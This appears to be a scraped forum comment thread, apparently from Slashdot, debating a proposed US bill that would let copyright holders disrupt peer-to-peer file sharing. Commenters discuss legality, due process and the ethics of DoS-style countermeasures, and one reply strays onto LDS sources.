Binary encoding of information requires an encoder and decoder. The binary form cannot be copyrighted since it is fundamentally a very large number and nobody owns a number (well, maybe Sesame Street). Nobody owns file names and nobody owns file name extensions. So basically, I can use a file named "War_And_Peace.txt" to store a very, very large number that I happen to like. I can "tell" my friend of my favourite number by sending this "number" to him. Unless I say that the encoding is 8 bit ASCII text, then I don't think I've voilated any laws eh?
http://news.bbc.co.uk/1/hi/entertainment/film/2
... illegal mp3s were found on governmental computers? Would a DoS attack on these be warranted?
... the computers that are allowed to DoS were compromised by a script kiddie DoS program (tri00 and the like). Now, who would be held responsible if the script kiddie managed to hide their tracks decently? I dont think large-scale corporations would take nicely to the MPAA saying "sorry, but it wasnt our fault"
Theres loads of potential loopholes or problems
If you are honestly interested in the subject, we can continue the discussion off list. My e-mail is listed with my information. As for the BYU link to "The Book of Abraham Project" (it works now; it must have been down last night), I have not read the whole thing, but the author quotes lots of scriptures and some addresses from the semi-annual General Conference. Those are things you can find on lds.org, so feel free to look up those references, but remember that the author's interpretation is not authoritative. You will have to form your own opinions on the interpretation unless you can find an official source (i.e., somehting living in the mormon.org or lds.org domains) in which a General Authority has interpreted the passage. Again, anything you find at lds.org or mormon.org, you can consider official. Anything you find somewhere else on the internet is like most stuff you find on the internet -- may be true, may not be true. The problem with BYU, and that area in general, is there are just way too many Mormons there (I mean that quite seriously -- I live right in the middle of the Bible Belt and couldn't be happier).
Today's Sesame Street was brought to you by the number e.
"The safe harbor is unavailable if: the copyright owner impairs the trading of files that don't contain her copyrighted work, unless such impairment is necessary to impair= the trading of her copyrighted work."
My reading of that is that the "unless" exception only applies to P2P file trading. So if they say that they can only stop you from trading their copyrighted work by stopping you from trading any files, then they can get away with it. But under no circumstances will they be able to effect your upstream provider, or destroy ANY of your files. I am not aware of a DoS attack that wouldn't effect your upstream provider, so I think DoS attacks are right out. I could be wrong of course. And its only a bill, it can still be amended for better or worse, or just plain fail. Here's hoping that it just plain dies.
Don't moderate flamebait as Troll. Know the difference or you will be Meta-moderated.
I wonder if Berman realizes that those who will be hacked thanks to his Bill are in a key voting demographic. The majority of P2P users are college educated (most either still in school or less than 6 years out). In a few years these people will be the ones who's votes Politicians will be courting.
I like the way you think!
And what when those official agencies fail to uphold your rights effectively? See "self defence, individual's responsibility for".
And neither does this Act give any analogous rights to any copyright holder. Get over your sensationalism and RTFA already.
Given your legal culture, I imagine heavy punitive damages would quickly be slapped on the big boys if they go beyond the rights granted in the Act and abuse their systems. Nothing in this Act removes your right to have a go back in court if they do something unreasonable.
Oh, please. We are talking about publicly available files. They can be searched freely by anyone. There is no extra power needed for the MPAA or RIAA to search your machine than Joe from Texas. And if they find their copyrighted stuff on your box -- the only time they are allowed to take action under this Act -- you have already been proven guilty.
Ah, yes, the old "name calling instead of reasoned argument" approach. Very convincing. I'm suitably impressed.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
because of this payoff (that's been going on since the 80s) I can feel comfortable in copying whatever I want, whenever I want. And no MPAA goons are going to come knocking at my door. Seems a small price to pay to get them to shut up (in comparison to this legislation). Yay Canada.
DataSquid.net, a little about me.
The root of the problem is that a few multinationals own our culture. There's only ONE way to solve this problem.
Make music, or movies, or comics, or stories, and release them under a license that allows sharing, but not selling or public exibition. Make money off it by performing in public, or selling higher quality originals, but release something.
Only by having the public (that means YOU PERSONALLY) take advantage of the power that modern communications gives them to publish their creations and add them to the pool of media that is our culture will we be able to defeat the media companies. Stealing from them will not work.
If YOU haven't published something, STFU and get with it, because sharing Metallica and Britney Spears off your hard drive is NOT helping.
I was wondering when someone would point this out. All this talk of revolt is grand, but it'll never happen when Joe Lunchbucket can't even be bothered to lumber his overweight ass down to the voting booth to vote. We've plenty of time to stare at the tube and memorize the life history of fictional characters but studying the issues is just too hard, "it makes my widdle head just hurt!" People who won't stand up for their rights deserve to be slaves--"if God did not want them sheared, he would not have made them sheep." Sad what the descendants of those who fought at Valley Forge, Lexington, Cold Harbor, Fort Wagner and Gettysburg have become. . .
I don't watch TV. I don't listen to the radio. I don't buy CDs. Hell, I don't even use any form of filesharing, either. I'm just a boring lump, but I don't fill my head with advertising or other people's pockets with cash.
Writers imply. Readers infer.
Eee orr --
If you are correcting the previous poster, (on what I thought of as a pretty-damn-good-post) on his misquotation-- why not also go one step further and correct this thread's horrible grammatical error as well??
Eee Orr
--
...and move to Alberta. I own my own law firm, now.
It is up to the system to punish those who break the law. To do so, one is required to take them to court and have them convicted.
A country where just anyone can punish people as they see fit is a barbaric country.
It gives them the possibility to take action against individuals without going through court. This would be a disturbing development indeed. A single person can often do little against the power of money. The corporations should be prevented from doing anything to me in the first place. It is not their right to punish me for something. It is not their responsibility. Exactly. You are found guilty without even going to trial! This is straight out of the most grim of predictions for the future. I am not talking about searching for files that are publicly available, I am talking about punishment without going to court.I am talking about corporation taking over the role as the prosecutor and executioner. Let them search for public files all they want, but in order to do anything, they should have to go through the legal system like everyone else.
Please understand this: It would mean that you are guilty until you have proven otherwise! Do you understand now? You actually have to go to court to prove that you are innocent, and the damage has already been done! How hard can it be to understand this?
Perhaps you should have thought about that before you called peple who disagree with you hypocrites? "Slashbots", you call them, because they are worried that corporations get more and more power and even take over the role of the judicial system.How incredibly insightful of you.
Clever signature text goes here.
Actually, if you live in almost any first world country, you're wrong both in theory and in practice. For example, there is some sort of power of citizen's arrest in many of these countries, though not necessarily conveying the same powers as a police officer would have. In practice, tell me that if you came home and some kid was jacking your car or attacking your daughter you'd feel obliged to let law enforcement do law enforcement and leave them to it.
You're still confusing prevention with punishment. This Act makes no allowance for punishment whatsoever. It allows one party to defend their rights at the time they are being infringed and no more. This is not unique, and there are several fundamental laws in most Western countries that take a similar approach, e.g., your right to act in the above cases.
Yes, I can see that. That's why your argument is without merit. Nothing in the Act supports corporations acting as either of the above. Nothing allows you to be found guilty of any crime without a court hearing, and nothing gives anyone the right to punish you without a court hearing. The act only allows them to take action to prevent you from continuing to break the law if they can see that you are doing so, and violating their rights as a result. If you object to such action, you are quite at liberty not to break that law. In the meantime, you are objecting to parts of the Act that do not exist.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
So when does the dead pool on Mr Velenti start and can I have the day after whenever a bill passes saying I have to have certified DRM in my computer, AND, the day that Stallman is DoS'ed as a result of this bill.
If you can't be good, be good at it!
From a story today about DoS attacks against RIAA:
"Don't they have something better to do during the summer than hack our site?" asked the RIAA representative, who asked not to be identified. "Perhaps it at least took 10 minutes away from stealing music."
The legislation's single purpose is to give more power to corporations to punish anyone they think may be doing something illegal. And obviously, they think everyone is really stealing from them.
Granted, this isn't as much about punishment as such. Instead, it is about Denial of Service attacks made legal. These people want to prevent others from distributing digital content - even their own work! They want to be able to be in a position where they can decide whether or not a crime is being committed. And, as we can see from what these people are saying, we are all really criminals, and therefore, they need the power to prevent us from connecting to the network. After all, if we can connect, we will probably steal "their" music. What is "reasonable suspicion"? These people seem to think that they have a "reasonable suspicion" against just about anyone.
It is obvious that the bill is a pathetic attempt at limiting our rights. It is not about preventing piracy, it is about preventing us from doing anything without it resulting in income to the huge corporations that are trying to take over.
Clever signature text goes here.
I'm no lawyer, but AFAICS, the bill doesn't seem to be about "reasonable suspicion" at all. It provides for various penalties to be applied if they block you where such does not exist, but does not seem to give any right for them to block you based only on suspicion, nor to limit any other action you could take if they block you otherwise.
It is indeed about a DoS attack of a sort made legal, but doesn't the bill explicitly state that they mustn't interfere with any other distribution unless it's necessary to stop you from distributing their stuff? If you aren't breaking the law, they can't touch you under this act, and AFAICS it's really as simple as that.
That seems fair enough to me. If you're wholesale ripping someone off and they take steps to stop you which happen to inconvenience you otherwise as well, I'm afraid you won't find any sympathy here. I buy my games and CDs, because while I disapprove of the aggressive pricing and complex monopoly used to enforce it in certain industries, I also disapprove of the wholesale flouting of a law that is, in principle, actually in the interests of the population as a whole.
It doesn't limit your rights at all if you're not already ignoring other people's.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
I sent a letter to Mr. Doggett also - Bertha